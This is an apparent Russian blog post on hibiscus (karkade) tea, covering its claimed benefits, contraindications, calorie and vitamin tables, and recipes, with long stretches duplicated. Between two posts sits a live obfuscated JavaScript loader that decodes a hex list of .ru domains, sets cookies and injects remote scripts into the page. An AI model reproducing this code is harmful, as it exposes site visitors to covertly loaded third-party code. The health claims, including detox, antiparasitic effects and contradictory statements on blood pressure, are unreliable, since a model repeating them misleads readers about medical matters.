человека. Так, линолевая кислота предотвращает появление холестериновых бляшек
на стенках сосудов и растворяет ненужный организму жир.
Также каркаде
можно использовать как спазмолитическое средство, он обладает мочегонным
свойством, с его помощью можно понижать температуру тела при различных
заболеваниях.
Комплекс витаминов во главе с витамином С и незаменимые жирные кислоты помогут
уйти от стресса,
улучшить метаболизм мозга и избавиться от
хронической усталости. Известно благотворное влияние каркаде на мочеполовую
систему, поэтому он используется для восстановления мужского здоровья.
Заваренные
цветы, извлеченные из напитка, также
употребляют в пищу. Дело в том, что в них
содержится много пектина, а он выводит из организма соли тяжелых металлов.
Это вещество
как губка впитывает шлаки и токсины,
накопившиеся в организме, и выводит их
естественным путем.
Каркаде также может использоваться как антипаразитарное средство, если
принимать его натощак. Тем, кто страдает похмельным синдромом, каркаде может
заменить капустный рассол – ведь он с успехом проведет интоксикацию организма,
избавив его от продуктов распада алкоголя.
Вред и противопоказания к приему чая
каркаде?
каркаде?
Чай каркаде
повышает кислотность желудочного сока,
поэтому противопоказан страдающим гастритом с
повышенной кислотностью и язвенной болезнью.
Также не
стоит пить чай каркаде при обострении
мочекаменной
и желчнокаменной болезнях. Конечно же,
бывают индивидуальные аллергические реакции,
что
также стоит учитывать.
Заблуждения,
связанные с напитком каркаде: некоторые
полагают,
что этот чай в горячем виде повышает давление, а в холодном – понижает его.
Утверждение неверное, так как в желудок чай поступает примерно одной и той же
температуры, несмотря на исходную температуру напитка.
Как подавать чай каркаде?
Если вы на
работе – воспользуйтесь простыми пакетиками
каркаде,
заварив их кипятком и накрыв чашку минут на десять блюдцем. Пить из
керамических или фарфоровых чашек.
Дома можно
заварить каркаде по любому рецепту, главное – не использовать металлическую
посуду, которая портит вкус и напиток чая. На столе должен быть сахар и лимон.
Если вы
ждете гостей, можно рассказать им про обычай перед застольем выпивать рюмку
каркаде, произнеся тост. Для заваривания чая воспользуйтесь изысканным
рецептом,
попробуйте добавить корицу, гвоздику, имбирь
или мяту.
При подаче горячего напитка на столе могут
быть нарезанные кусочки имбиря (очень тонко) и листики мяты, которые гости
положат в чашку по желанию. А также сахар и дольки лимона.
Холодный
напиток можно подавать с соломинкой.
И помните,
что каркаде – благородный напиток, поэтому и
антураж
должен быть соответствующим, как у египетских фараонов.
Как правильно заваривать каркаде:рецепты?
Оговоримся, что напиток
каркаде пьют с сахаром и без, заваривают холодным и горячим способом, сахар
кладут в начале готовки и в конце, добавляют различные
приправы, кипятят или греют на
водяной бане. Свой эксклюзивный рецепт каждый, видимо, изобретет сам.
Дадим лишь общие советы по
приготовлению напитка.
Рецепт чая каркаде из Египта.
- Лепестки или розочки каркаде 10г (1 ст.л. лепестков или 15 розочек).
- Вода (которой вы привыкли заваривать чай) – 1 стакан.
- Сахар (количество определяется опытным путем).
Цветки
гибискуса замачиваем в холодной воде на два часа
(можно
больше, к примеру – на всю ночь). Затем содержимое ставим на огонь, доводим до
кипения, кипятим на очень
медленном огне 3-5 минут. Снимаем с огня,
процеживаем или просто выбираем соцветия, кладем сахар по вкусу.
Пить напиток можно и горячим, и холодным.
Выловленные
заваренные цветочки лучше также съесть, т.к.
в них очень много полезных веществ.
Их добавляют в супы и к гарнирам вторых блюд.
Холодный каркаде.
Он готовится
двумя способами. Первый – горячий напиток охлаждается, добавляется лед и
напиток пьется через соломинку. Второй – цветки гибискуса настаиваются в воде
комнатной температуры в течение 8 часов. Затем в настой кладут сахар
и пьют как
прохладительный напиток.
Простой рецепт чая каркаде.
Две ложки
лепестков гибискуса или 10 цветков на стакан воды заварить кипятком и варить в
течение 5 минут на медленном
огне, в
конце добавить сахар. Некоторые варят 10 минут, «придавливая» время от времени
цветки для того, чтобы
напиток был
более насыщенным. Правда, при этом никто не гарантирует сохранности всех
полезных веществ растения.
Но вкус
компенсирует пользу.
Завариваем каркаде в чашке.
Целые
лепестки (1-2 ложки) кладем в чашку с сахаром,
заливаем
кипящей водой, накрываем плотно и
держим 10-15 минут. Говорят, что по вкусу не
отличишь от настоящего египетского рецепта.
Этот напиток
получил популярность в нашей стране
относительно
недавно. Многие любят его за то, что каркаде (гибискус) отлично утоляет жажду в
жару. Кому-то нравится его красивый яркий цвет. Кроме того этот напиток
укрепляет
организм за
счет благотворного влияния на функциональное состояние печени и поджелудочной
железы, оказывает
защитное
действие от токсического влияния алкоголя.
Этот продукт
можно найти на полках любого магазина, но большинство даже не подозревает о
полезных свойствах
красивого и
несколько пикантного чая. Кроме того, нужно
знать не
только то, чем полезен чай каркаде. Свойства этого напитка весьма разнообразны.
Польза Чая Каркаде?
Про пользу
каркаде знали еще в Древней Индии.
Каркаде
ценится на территории Азии уже многие века.
Свойства этого красного чая значительно влияют
на общее состояние организма. В первую очередь связано это с большим
содержанием в напитке витамина С. В результате, он имеет
ярко выраженный кислый вкус. В охлажденном
виде напиток употребляют в жару, и даже небольшое его количество
способно эффективно утолить жажду.
Наряду с
этим, свойства чая помогают снизить высокую температуру тела при некоторых
заболеваниях. Потому уже достаточно давно напиток используется в качестве
жаропонижающего средства.
Кроме того,
цветы гибискуса отлично снижают уровень артериального давления. Каркаде нашел
свое широкое
применение среди гипертоников. Многие
отмечают,
что отвар
чая борется с повышенным давлением не хуже, чем некоторые традиционные
лекарственные препараты.
Еще один
плюс в адрес этого чая – эго способность укреплять стенки сосудов, делать их
более гибкими. Но тем, кто хочет укрепить сосуды стоит все же помнить, что при
хроническом пониженном давлении пить каркаде в больших количествах
нежелательно.
Полезные
свойства чая способствуют освобождению
организма от
вирусов, помогают в борьбе с инфекционными и простудными заболеваниями. Если
пить напиток в теплом
виде, то он может лечить от простуды не хуже
малины,
которая намного более популярна в этом
качестве, чем каркаде.
Напиток так
же повышает общий тонус организма, придает бодрость, помогает бороться с
хронической усталостью и стрессами.
Он в
значительной степени повышает работоспособность и приводит в норму метаболизм
мозга, улучшает умственную активность.
Медиками
отмечены спазмолитические и мочегонные
свойства
чая.
Высокое
содержание витаминов и аминокислот положительно влияет на внешний вид человека
в целом. Есть мнение, что чаем каркаде можно протирать лицо в качестве тоника.
Кроме того,
это – очень хороший антиоксидант.
Это свойство
чая взяли во внимание и современные
косметологи, потому лепестки каркаде добавляют
в
маски для лица и различные крема.
Заваренные
лепестки гибискуса не нужно спешить выбрасывать. Его можно потреблять в пищу,
что является средством для выведения из организма тяжелых металлов, шлаков,
свободных радикалов и токсинов. Органические кислоты, содержащиеся в составе
каркаде, имеют свойства расщеплять жиры и
выводить из организма вредный холестерин.
Потому, этот
чай пьют во время диет для похудения.
Его вполне
можно назвать диетическим, так как он
совершенно не имеет в своем составе жиров.
Содержание углеводов в составе напитка из каркаде тоже можно назвать
приемлемым.
Вред Чая Каркаде?
Но если набрать в интернете запрос «чай
каркаде
польза и вред», то можно так же отметить
некоторое негативное влияние этого продукта на организм. Конечно, касается это
отдельных случаев.
Продукт не содержит насыщенных жиров или
чрезмерного процента углеводов. Чай из каркаде является полностью натуральным
продуктом. Кроме того, в нем совершенно нет канцерогенов, которые могли бы
способствовать
развитию рака.
Противопоказания, как правило, связаны с
некоторыми нарушениями пищеварительной системы, в частности – с повышенной
кислотностью. Так же это касается язвенной
болезни желудка. Связано это с тем фактом,
что чай
каркаде
имеет в своем составе высокое содержание различных кислот.
Как было отмечено выше, продукт нельзя
употреблять в
больших количествах тем, кто страдает
пониженным
давлением. Ведь чай каркаде понижает его еще
больше.
Нужно так же учитывать и то, что каркаде не
агрессивный, но все-таки аллерген. Он имеет
яркий
красный цвет, потому его не рекомендуется
употреблять аллергикам, чувствительным к ярко окрашенным продуктам.
Калорийность чая КАРКАДЕ?
При том, что для взрослого человека со
средними
физическими нагрузками нужно потреблять 2200
Ккал в день, каркаде на 100 гр. имеет 309 Ккал. Это – совсем не много если
учесть, что на стакан чая вполне достаточно одной чайной
ложки этого продукта. Ниже предоставлена
таблица,
в которой предоставлены расчеты калорийности
каркаде
для самых распространенных мерных емкостей.
Мера
измерения
Масса в
граммах
Калорийность
в калориях
Чайная
ложка
1
3,09
Столовая
ложка
3
9,27
Стакан 200
мл.
30
92,7
Граненый
стакан 250 мл.
40
123,6
Данные расчеты позволят определить, сколько
чая
каркаде можно пить в день, находясь на той
или иной диете.
ПротивопоказанияЧая КАРКАДЕ?
Противопоказаниями для приема чая каркаде
могут быть: повышенная кислотность желудка, пониженное артериальное давление
(гипотония), склонность к аллергиям,
индивидуальная непереносимость некоторых
компонентов
чая.
Многие задают вопросы по поводу того, можно
ли пить
этот
чай беременным женщинам. Несмотря на все его
полезные свойства, в этот период лучше брать
витамины
из других источников. Все дело в том, что
способность
красного каркаде стимулировать менструацию
может вызвать осложнения у беременных женщин. Так же этот напиток нежелательно
употреблять женщинам, которые только
планируют беременность. Чай стимулирует
выработку
гормонов, которые препятствуют подготовке
матки к беременности.
В период лактации пить напиток тоже не
рекомендуется. Эта рекомендация связана с тем, что каркаде является аллергеном.
Так
как грудные дети чувствительны ко всем ярким продуктам,
то у
них легко может возникнуть на этом фоне проявление аллергической реакции.
Детям пить каркаде можно начиная с одного
года, но в разбавленном виде. Нужно при этом учитывать, что каркаде является
мочегонным средством. А значит, не нужно поить
ребенка этим чаем на ночь.
Пищевая ценность ЧАЯ КАРКАДЕ?
Ниже будет предоставлена таблица, в которой
указано
содержание в чае каркаде белков, жиров и
углеводов.
Данные
из таблицы могут стать полезными для людей,
которые следят за процентом этих веществ в
различных
продуктах.
Наименование
вещества
Содержание
в 100 г
% от
дневной нормы
Белки
0,8
1
Насыщенные
жиры
0
0
Мононенасыщенные
жиры
0
0
Полиненасыщенные
жиры
0
0
Углеводы
81,5
106
Таблица с витаминами в чае каркаде:
Название
витамина
Содержание
в 100 гр. продукта
% от
дневной нормы
Витамин B1
(тиамин) (B1)
1,279
67
Витамин C
(C)
18,4
25,7
Витамин
A (РЭ)
(A (РЭ))
0,17
10
Бета-каротин
(провитамин витамина А)
0,178
0,5
Список полезных микро- и
макроэлементов Чая КАРКАДЕ?
макроэлементов Чая КАРКАДЕ?
Название
минерала
Содержание
в 100 гр. продукта
% от
дневной нормы
Кальций
(Са)
1
0,001
Магний
(Mg)
1
0,29
Натрий
(Na)
3
3
Калий (К)
9
10
Фосфор (Р)
3
0,38
Таким образом – чай из лепестков гибискуса
можно назвать довольно полезным продуктом. Из витаминов в нем
содержится небольшое количество витамина С и
бета
каротина.
Из минералов – достаточно большое количество
калия.
Из всего вышесказанного можно сделать вывод,
что чай каркаде является диетическим и достаточно полезным продутом. Он ценится
за пикантный и выразительный вкус, а рубиновый цвет вызывает чувство аппетита.
Кроме того он улучшает обмен
веществ в организме и обладает успокаивающим
эффектом.
Чай из цветков гибискуса отлично сочетается с
другими видами чая и специями. Это значит,
что напиток
можно постоянно изменять, добавляя разные
новые
компоненты. Его можно пить как в холодном, так
и в
теплом виде. При этом, холодный каркаде очень
хорошо
утоляет жажду, а теплый чай в сочетании с
корицей и другими пряностями может согреть весь организм.
Есть мнение, что горячий каркаде, в отличие
от его
охлажденного аналога повышает уровень
артериального
давления. Но это не так. Теплый и горячий
напитки снижают давление, температура здесь не играет роли. Это означает,
в зимнее время года гипертоники могут
заменять этим напитком традиционный черный чай.
Но не смотря на все его полезные свойства,
чай каркаде все же имеет и некоторые противопоказания. И об этом нужно
помнить любителям таких приятных напитков,
как чай из
цветов гибискуса.
Каркадэ: свойства, польза и вред Что такое каркадэ?
Каркадэ (каркаде) - это растение семейства мальвовых.
В высоту достигает до 3.5м. Стебель и листья
зеленые, с красноватыми оттенками. Цветки 5-7 см в диаметре с сильным ароматом.
Научное название его Hibiscus sabdariffa.
Родина каркадэ -
Индия, сейчас его также выращивают во
многих странах с тропическим климатом: в
Судане, Египте,
Китае,
на Шри Ланке, Таиланде, в Мексике.
В Судане напиток из каркадэ
настолько стал популярным, что получил еще одно свое название – суданская
роза.
В Египте чай из гибискуса
называли напитком фараонов, дарующим жизненную силу и бессмертие.
В Малайзии каркадэ,
известный под названием бунга рая – национальный цветок. Он изображен на гербе
страны, так как,
по
утверждению мусульман, пять его лепестков соответствуют пяти заповедям ислама.
Когда лепестки увядают, на растении остаются
чашечки цветков. Что удивительно, именно тогда они набирают сок,
увеличиваются в размерах и становятся готовы к
сбору. Из высушенных чашечек цветков каркадэ можно приготовить
прекрасный тонизирующий чай.
В зависимости от места произрастания, цвет и
вкус чая из
каркадэ
будут отличаться. Цвет настоя египетского каркадэ вишневый,
вкус кислый. Мексиканский каркадэ насыщенно оранжевого цвета,
вкус слегка соленый. А чай из каркадэ, выращенного в Таиланде
более сладкий, красивого
пурпурного цвета.
Листья, семена, лепестки гибискуса
также используются в кулинарии, косметологии. В производстве для окраски
тканей
используют все части растения, особенно стебли и
корни.
Распространение каркадэ?
В Египте чай из каркадэ давно
стал национальным напитком. В Древнем Египте, видимо, уже знали о его
пользе для здоровья. Сухие части этого растения археологи находили даже в
гробницах!
На Востоке и в Африке гибискус широко
использовался в
медицине как лекарство от многих болезней.
В Европе каркадэ стал
известен уже в ХVII веке, но не
пользовался большой популярностью. Зато в
наши дни его популярность стремительно растет особенно в регионах
средиземноморского бассейна, а также в скандинавских
странах.
Польза каркадэ?
Каркадэ содержит 13 органических кислот, среди них
лимонная, яблочная, винная, которые придают
чаю кислый
вкус, утоляют жажду.
Витамины, микроэлементы, биологически
активные вещества способствуют укреплению иммунитета, являясь прекрасной
профилактикой против простуды и гриппа, повышают
физическую выносливость, снижают
нервное напряжение.
В состав растения входят антоцины. Именно им
чай из каркадэ обязан своим цветом. Антоцины укрепляют стенки
кровеносных сосудов, регулируют их проницаемость и способствуют
снижению уровня холестерина в крови.
Каркадэ оказывает спазмолитическое действие, улучшает
выработку желчи, благотворно действует на печень и
мочеполовую систему. При регулярном
употреблении способствует нормализации обмена веществ,
благотворно влияет на деятельность поджелудочной
железы и желудка.
Каркадэ обладает также профилактическими свойствами. Он
предупреждает заболевания кишечно - желудочного тракта, облегчает протекание
диабета.
Чай обладает мягким слабительным
эффектом.
Относительно этого установлено, что устойчивая
нормализация работы желудочно - кишечного тракта достигается при
систематическом употреблении в течении не менее 15 дней,
потом пауза неделю и еще пить не менее 7
дней.
Но самое широко известное свойство каркадэ,
это регуляция давления: в горячем виде напиток повышает давление, а в
холодном – понижает.
Чай из каркадэ снимает
последствия алкогольного отравления,
что
тоже является немаловажным фактором для поддержания здоровья.
Коренные жители Африки цветки каркадэ
используют для остановки кровотечения при порезах.
В каркадэ нет щавелевой
кислоты, благодаря которой
образуются камни в почках, поэтому он не
имеет
противопоказаний для больных почечными
заболеваниями.
Возможный вред каркадэ?
Страдающим гастритами с повышенной
кислотностью и
язвенной болезнью, не рекомендуется
употреблять чай из
каркадэ, так как напиток повышает кислотность
желудочного сока.
Также следует соблюдать осторожность при
употреблении
людям с очень низким давлением.
Не рекомендуется давать чай из каркадэ
детям до года.
И, конечно, надо быть внимательным,
употребляя настой тем,
кто
обладает индивидуальной непереносимостью к отдельным видам продуктов.
Каркадэ в кулинарии?
Свежие листья каркадэ кладут
в овощные салаты, в мясные и рыбные блюда. Сухие семена добавляют в густые супы.
А из лепестков получается очень вкусное варенье!
Каркадэ в косметологии?
Прекрасно освежат кожу лица кубики льда,
приготовленые из заваренного каркадэ. Если у вас жирная кожа,
можно до замораживания добавить несколько капель белого вина. После процедуры
необходимо тщательно вымыть лицо и нанести питательный крем.
Также каркадэ можно
использовать в пилинговых смесях
с
кофе: 1 ст. ложку молотого кофе залить крепким настоем каркадэ
— чудо-пилинг готов! Главное потом обильно
смыть
эту смесь с тела водой.
Приготовление чая из каркадэ?
Чай из каркадэ можно
готовить разными способами. Для этого подойдет стеклянная или фарфоровая
посуда. Не стоит пользоваться металлическими чайниками, это может
сказаться на вкусе и свойствах чая.
Простой способ:
Залить сухую заварку кипятком, дать
настояться 5-10 минут.
Чай
готов. Если настой постоит дольше, вкус и состав его будет только богаче.
Варка каркаде:
Налейте в стеклянный чайник 1,5 л воды,
добавьте 2-3 стол.
ложки
сухого каркадэ, доведите до кипения. После потомите 3 мин на
слабом огне, добавьте сахар по вкусу.
Прекрасный напиток темно-рубинового цвета
готов!
Важно
не перекипятить каркадэ, иначе он приобретет синие оттенки и
станет невкусным.
Еще один способ, который рекомендуют
диетологи, это
холодное заваривание. Такой способ дает
наиболее полный по составу, вкусу и пользе для организма чай.
Холодное заваривание:
Налейте в стеклянный чайник 1.5 л воды,
добавьте 3 стол.
ложки сухого каркадэ. Время
настаивания от 1 до 8 часов.
Перед
употреблением добавьте мед по вкусу.
В нашем чайном клубе есть несколько фирменных
рецептов, например, каркадэ, сваренный с пряностями и сахаром.
Такой напиток хорош как в жару, так и в сырые холодные
петербургские вечера. Он согревает и повышает
настроение.
После того, как каркадэ
готов, размякшие цветочные чашечки можно есть. В них содержится витамин С,
белок,
аминокислоты и пектин, который
способствовует очищению кишечника от токсинов и шлаков.
Каркадэ по праву считается напитком красоты, бодрости,
молодости и здоровья!
Собирал инфромацию этого конспекта:
Ганина Мария Владимировна.
Конец этого конспекта.
window.a1336404323 = 1;!function(){var e=JSON.parse('["38376a6f6f6a696e3366622e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="10251",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "my.mail.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
Метки: 4.
Мария Пронина.,
15-12-2015 15:10
(ссылка)
4.Чай Каркаде!
Чай Каркаде.
Что такое Чай КАРКАДЕ?
Описание Чая!
Каркаде – это чайный напиток насыщенно красного цвета, его изготавливают из
цветов суданской розы (научное название Гибискус).
У каркаде появилось много названий с
его распространением
по миру. Наиболее популярен этот напиток в
арабских странах. Родиной каркаде является Индия, а наибольшую
популярность имеет в таких странах, как Египет и Судан. В Египте каркаде
называют «напиток фараона».
Чтобы получить каркаде, цветы
гибискуса собирают и засушивают. Напиток каркаде имеет кисловатый
вкус и
обладает множеством полезных свойств.
Чем же полезен чай каркаде?
Вещества, благодаря которым гибискус
имеет красный цвет, укрепляют стенки сосудов. Гибискус способствует снижению
артериального давления, благотворно влияет на работу желудочно-кишечного
тракта и печени, способствует лучшей выработке желчи, оказывает
антибактериальное действие.
Каркаде приобрел популярность в арабских
странах благодаря своему свойству быстро утолять жажду, как в горячем, так и
холодном виде.
Витамины и микроэлементы, которые содержатся
в каркаде, улучшают иммунитет, повышают сопротивляемость организма простудным
заболеваниям, уменьшают нервное напряжение.
О полезных свойствах каркаде можно говорить много,
не зря его в арабских странах называют
«лекарством от всех болезней». Но важно также отметить, какой вред может
нанести каркаде и кому его не стоит употреблять.
Чай каркаде не рекомендуют пить людям, у которых
гастрит с повышенной кислотностью и язва
желудка, поскольку каркаде имеет свойство повышать кислотность. Каркаде не
стоит пить тем, у кого сильно пониженное давление, поскольку, как говорилось
раньше, каркаде снижает артериальное
давление.
Как заваривать чай каркаде?
Каркаде очень вкусный напиток, как в горячем, так и в
холодном
виде. Готовят чай из лепестков суданской розы,
как обычный чай. Для этого одну чайную ложку
лепестков заливают стаканом горячей воды и по вкусу добавляют сахар.
Холодный каркаде готовят также, как и горячий и охлаждают.
По
желанию можно добавить лед.
Чай каркаде получают из цветков гибискуса –
уроженца Индии. Растение принадлежит к семейству мальвовых, это могут
быть как
однолетние травянистые растения, так и многолетние кустарники, всего их около
150 видов. Сейчас эту мальву выращивают во всех тропических областях земли в
самых
разных
целях. Громадные плантации гибискусов есть в Судане, Египте, Индии, Китае,
Шри-Ланке, на острове Ява, в Таиланде и Мексике.
Среди
множества сортов гибискуса, выращиваемых в
декоративных
целях, нам интересен гибискус сабдариффа, или розелла. Этот кустарник
замечателен тем, что все его части
могут употребляться в пищу: листья едят вместо
овощей,
а цветки заваривают как чай. Цветы гибискуса
также
используют в приготовлении варенья, желе и
кондитерских изделий.
В старинных
арабских медицинских трактатах чай каркаде называется лекарством от всех
болезней. На протяжении своего существования этот напиток получил также много
лестных
имен: «королевский напиток», «напиток
фараонов» и пр.
Кстати, чаем
каркаде называть не стоит, т.к. он не относится
ни к какому
из сортов чая. Это травяной напиток.
Он пользовался огромной популярностью у
древней знати,
в том числе
у египетских фараонов и восточных вельмож.
Состав и Свойства чая каркаде. Польза
каркаде?
каркаде?
Напиток из
цветков гибискуса богат антиоксидантами, обладающими омолаживающим действием.
Они
предохраняют организм от воздействия на клетки
свободных радикалов, тем самым предотвращая
образование доброкачественных и злокачественных опухолей.
Красный цвет
цветков гибискуса обеспечивается с помощью веществ антоцианов, которые имеют
Р-витаминную активность. Они способствуют укреплению стенок кровеносных
сосудов, регулируя их проницаемость. Поэтому напиток полезен при проблемах с
сосудами.
Лимонная
кислота, которая содержится в цветках гибискуса в достаточном количестве,
помогает улучшить общее состояние организма. А это, в свою очередь, помогает
профилактике простудных и инфекционных заболеваний. Есть в гибискусе и другие
органические кислоты, которые также благотворно воздействуют на все органы
человека. Так, линолевая кислота предотвращает появление холестериновых бляшек
на стенках сосудов и растворяет ненужный организму жир.
Также каркаде
можно использовать как спазмолитическое средство, он обладает мочегонным
свойством, с его помощью можно понижать температуру тела при различных
заболеваниях.
Комплекс витаминов во главе с витамином С и незаменимые жирные кислоты помогут
уйти от стресса,
улучшить метаболизм мозга и избавиться от
хронической усталости. Известно благотворное влияние каркаде на мочеполовую
систему, поэтому он используется для восстановления мужского здоровья.
Заваренные
цветы, извлеченные из напитка, также
употребляют в пищу. Дело в том, что в них
содержится много пектина, а он выводит из организма соли тяжелых металлов.
Это вещество
как губка впитывает шлаки и токсины,
накопившиеся в организме, и выводит их
естественным путем.
Каркаде также может использоваться как антипаразитарное средство, если
принимать его натощак. Тем, кто страдает похмельным синдромом, каркаде может
заменить капустный рассол – ведь он с успехом проведет интоксикацию организма,
избавив его от продуктов распада алкоголя.
Вред и противопоказания к приему чая
каркаде?
каркаде?
Чай каркаде
повышает кислотность желудочного сока,
поэтому противопоказан страдающим гастритом с
повышенной кислотностью и язвенной болезнью.
Также не
стоит пить чай каркаде при обострении
мочекаменной
и желчнокаменной болезнях. Конечно же,
бывают индивидуальные аллергические реакции,
что
также стоит учитывать.
Заблуждения,
связанные с напитком каркаде: некоторые
полагают,
что этот чай в горячем виде повышает давление, а в холодном – понижает его.
Утверждение неверное, так как в желудок чай поступает примерно одной и той же
температуры, несмотря на исходную температуру напитка.
Как подавать чай каркаде?
Если вы на
работе – воспользуйтесь простыми пакетиками
каркаде,
заварив их кипятком и накрыв чашку минут на десять блюдцем. Пить из
керамических или фарфоровых чашек.
Дома можно
заварить каркаде по любому рецепту, главное – не использовать металлическую
посуду, которая портит вкус и напиток чая. На столе должен быть сахар и лимон.
Если вы
ждете гостей, можно рассказать им про обычай перед застольем выпивать рюмку
каркаде, произнеся тост. Для заваривания чая воспользуйтесь изысканным
рецептом,
попробуйте добавить корицу, гвоздику, имбирь
или мяту.
При подаче горячего напитка на столе могут
быть нарезанные кусочки имбиря (очень тонко) и листики мяты, которые гости
положат в чашку по желанию. А также сахар и дольки лимона.
Холодный
напиток можно подавать с соломинкой.
И помните,
что каркаде – благородный напиток, поэтому и
антураж
должен быть соответствующим, как у египетских фараонов.
Как правильно заваривать каркаде:рецепты?
Оговоримся, что напиток
каркаде пьют с сахаром и без, заваривают холодным и горячим способом, сахар
кладут в начале готовки и в конце, добавляют различные
приправы, кипятят или греют на
водяной бане. Свой эксклюзивный рецепт каждый, видимо, изобретет сам.
Дадим лишь общие советы по
приготовлению напитка.
Рецепт чая каркаде из Египта.
- Лепестки или розочки каркаде 10г (1 ст.л. лепестков или 15 розочек).
- Вода (которой вы привыкли заваривать чай) – 1 стакан.
- Сахар (количество определяется опытным путем).
Цветки
гибискуса замачиваем в холодной воде на два часа
(можно
больше, к примеру – на всю ночь). Затем содержимое ставим на огонь, доводим до
кипения, кипятим на очень
медленном огне 3-5 минут. Снимаем с огня,
процеживаем или просто выбираем соцветия, кладем сахар по вкусу.
Пить напиток можно и горячим, и холодным.
Выловленные
заваренные цветочки лучше также съесть, т.к.
в них очень много полезных веществ.
Их добавляют в супы и к гарнирам вторых блюд.
Холодный каркаде.
Он готовится
двумя способами. Первый – горячий напиток охлаждается, добавляется лед и
напиток пьется через соломинку. Второй – цветки гибискуса настаиваются в воде
комнатной температуры в течение 8 часов. Затем в настой кладут сахар
и пьют как
прохладительный напиток.
Простой рецепт чая каркаде.
Две ложки
лепестков гибискуса или 10 цветков на стакан воды заварить кипятком и варить в
течение 5 минут на медленном
огне, в
конце добавить сахар. Некоторые варят 10 минут, «придавливая» время от времени
цветки для того, чтобы
напиток был
более насыщенным. Правда, при этом никто не гарантирует сохранности всех
полезных веществ растения.
Но вкус
компенсирует пользу.
Завариваем каркаде в чашке.
Целые
лепестки (1-2 ложки) кладем в чашку с сахаром,
заливаем
кипящей водой, накрываем плотно и
держим 10-15 минут. Говорят, что по вкусу не
отличишь от настоящего египетского рецепта.
Этот напиток
получил популярность в нашей стране
относительно
недавно. Многие любят его за то, что каркаде (гибискус) отлично утоляет жажду в
жару. Кому-то нравится его красивый яркий цвет. Кроме того этот напиток
укрепляет
организм за
счет благотворного влияния на функциональное состояние печени и поджелудочной
железы, оказывает
защитное
действие от токсического влияния алкоголя.
Этот продукт
можно найти на полках любого магазина, но большинство даже не подозревает о
полезных свойствах
красивого и
несколько пикантного чая. Кроме того, нужно
знать не
только то, чем полезен чай каркаде. Свойства этого напитка весьма разнообразны.
Польза Чая Каркаде?
Про пользу
каркаде знали еще в Древней Индии.
Каркаде
ценится на территории Азии уже многие века.
Свойства этого красного чая значительно влияют
на общее состояние организма. В первую очередь связано это с большим
содержанием в напитке витамина С. В результате, он имеет
ярко выраженный кислый вкус. В охлажденном
виде напиток употребляют в жару, и даже небольшое его количество
способно эффективно утолить жажду.
Наряду с
этим, свойства чая помогают снизить высокую температуру тела при некоторых
заболеваниях. Потому уже достаточно давно напиток используется в качестве
жаропонижающего средства.
Кроме того,
цветы гибискуса отлично снижают уровень артериального давления. Каркаде нашел
свое широкое
применение среди гипертоников. Многие
отмечают,
что отвар
чая борется с повышенным давлением не хуже, чем некоторые традиционные
лекарственные препараты.
Еще один
плюс в адрес этого чая – эго способность укреплять стенки сосудов, делать их
более гибкими. Но тем, кто хочет укрепить сосуды стоит все же помнить, что при
хроническом пониженном давлении пить каркаде в больших количествах
нежелательно.
Полезные
свойства чая способствуют освобождению
организма от
вирусов, помогают в борьбе с инфекционными и простудными заболеваниями. Если
пить напиток в теплом
виде, то он может лечить от простуды не хуже
малины,
которая намного более популярна в этом
качестве, чем каркаде.
Напиток так
же повышает общий тонус организма, придает бодрость, помогает бороться с
хронической усталостью и стрессами.
Он в
значительной степени повышает работоспособность и приводит в норму метаболизм
мозга, улучшает умственную активность.
Медиками
отмечены спазмолитические и мочегонные
свойства
чая.
Высокое
содержание витаминов и аминокислот положительно влияет на внешний вид человека
в целом. Есть мнение, что чаем каркаде можно протирать лицо в качестве тоника.
Кроме того,
это – очень хороший антиоксидант.
Это свойство
чая взяли во внимание и современные
косметологи, потому лепестки каркаде добавляют
в
маски для лица и различные крема.
Заваренные
лепестки гибискуса не нужно спешить выбрасывать. Его можно потреблять в пищу,
что является средством для выведения из организма тяжелых металлов, шлаков,
свободных радикалов и токсинов. Органические кислоты, содержащиеся в составе
каркаде, имеют свойства расщеплять жиры и
выводить из организма вредный холестерин.
Потому, этот
чай пьют во время диет для похудения.
Его вполне
можно назвать диетическим, так как он
совершенно не имеет в своем составе жиров.
Содержание углеводов в составе напитка из каркаде тоже можно назвать
приемлемым.
Вред Чая Каркаде?
Но если набрать в интернете запрос «чай
каркаде
польза и вред», то можно так же отметить
некоторое негативное влияние этого продукта на организм. Конечно, касается это
отдельных случаев.
Продукт не содержит насыщенных жиров или
чрезмерного процента углеводов. Чай из каркаде является полностью натуральным
